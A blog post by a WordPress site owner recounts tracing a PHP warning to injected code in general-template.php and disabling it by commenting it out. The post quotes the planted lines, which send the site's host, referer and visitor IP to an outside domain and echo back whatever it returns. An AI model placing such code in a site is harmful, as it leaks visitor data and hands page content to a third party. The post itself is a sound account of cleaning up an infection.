How to solve warning : file_get_contents (http://24365 online.com/ _YTG_yu/ _dl/ get_info.php?

I found this strange error message right at the bottom of my posts in the evening, out of the blue !!!

I wondered what did I do new that caused it but other than adding a small code I did not do anything.

The error message was

Warning: file_get_contents(http://24365online.com/_YTG_yu/_dl/get_info.php?host=www.madhuriesingh.com&referer=&visitor_ip=122.170.41.0) [function.file-get-contents]: failed to open stream: HTTP request failed! HTTP/1.1 500 Internal Server Error in /home8/madhurie/public_html/superindiankid/wp-includes/general-template.php on line 61

I opened a ticket asap, as I did not wish to waste time in self analysis as I had live data and live members on my site.

The help was a mail which was this
500 errors can be caused by several things.

1. Make sure all your files and folders have permissions of 755 or lower. Anything higher then 755 will cause a 500 error.

2. Any miscoded or conflicting entries in the .htaccess file will throw a 500 error as well. you can test to see if this is the issue by renaming that file to .htaccess.old and then reloading the page you were getting that error on.

3. Too many running php or fastcgi processes. You can view the processes you are running by clicking on the process manager under the advanced heading of your cPanel.

If you do all of these things and are still getting a 500 error please let me know.

One look at the email and I knew I will have to do this error handling myself. So I went to the line 61 on my general-template.php file in wp_content directory.

I saw this strange looking url which I do not remember ever adding or using !

SO I gave a search on the google about this url

$url = “http://24365online.com/_YTG_yu/_dl/get_info.php?host=$host&referer=$referervisitor_ip=$visitor_ip”; $content = file_get_contents($url);

I found a beautiful link to wordpress support http://wordpress.org/support/topic/305487 where it was very clear that this silly url was passing onto about my site members to a database link !!!!

So I went back to the general-template.php in wp_content directory, and commented the line 61-64 by placing them under /* ….*/
or
/*$content = file_get_contents($url);
echo $content;*/

And there that was that !
My site was clean and no error message shown!!!

Thanks a ton to the people who take time to write these error messages on the forum with solution. It makes me feel I am not alone !:)

You must be logged in to post a comment.